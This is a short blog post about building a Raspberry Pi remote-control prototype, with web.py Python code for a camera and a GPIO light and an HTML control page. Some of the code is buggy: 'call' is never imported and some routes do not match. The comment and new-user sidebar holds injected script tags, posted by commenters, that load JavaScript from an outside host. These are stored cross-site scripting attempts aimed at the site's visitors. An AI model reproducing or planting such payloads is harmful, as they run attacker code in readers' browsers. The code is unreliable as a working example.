Raspberry Pi & Python remote control experiment


After seeing other universities are using online platform to perform basic physical experiments, such as measuring gravity, Prof Le want to build a remote experimet platform himself.

We are asked to figure out how to remote control first.

Raspberry is in fashion then, combined with python, which is a powerful tool in web coding, I tested and succeeded.


Python code:

import web
import os
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
GPIO.setup(18, GPIO.OUT)
render = web.template.render('static/')

TAKE_PHOTO = "raspistill -o static/out.jpeg -w 500 -h 500 -n -t 1 -rot 180"

urls = (
        '/takephoto', 'TakePhoto', 
    	'/', 'index',
    	'/light','Light',
    	'/dark','Dark'
        )

class index:
    def GET(self):
	return render.index()

def doMove(s):
    IO = '4310'
    for i in xrange(4):
        call(['gpio', 'write', IO[i], s[i]])

class TakePhoto:
    def GET(self):
        os.system(TAKE_PHOTO)

class Light:
    def GET(self):
    	GPIO.output(18, True)

class Dark:
    def GET(self):
	GPIO.output(18,False)
			
if __name__ == '__main__':
    app = web.application(urls, globals())
    app.run()

Main part of html code, used as interface to remote users:

<body>
    <img width="500" height="500" src="/static/out.jpeg" id="myimg">
    <br />

    <button onclick="$.post('/pythonweb/move?direction=stop')">stop</button>
    <br /> <br />
    <input type="text" id="content">
    <button onclick="$.post('/pythonweb/speak', {content: $('#content')[0].value})">Speak</button>
    <script>
        setInterval(function(){
            $('#myimg').attr('src', '/static/out.jpeg?' + new Date().getTime());
            $.get('/takephoto');
        }, 2000);
    </script>
</body>

blob.png

Last Article Next article

Comment 评论



Share 分享

New Users 最新加入

  • "><script type="text/javascript&qu

  • hokurikustr

New comments 最新评论

&quot;&gt;&lt;script type=&quot;te: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 13:07
toored: "><script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:58
toored: <script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/J860XYPPDSWNG"></script> Details Oct 02 12:57
toored: "><test> Details Oct 02 12:56
test123: aasdas Details Apr 13 16:39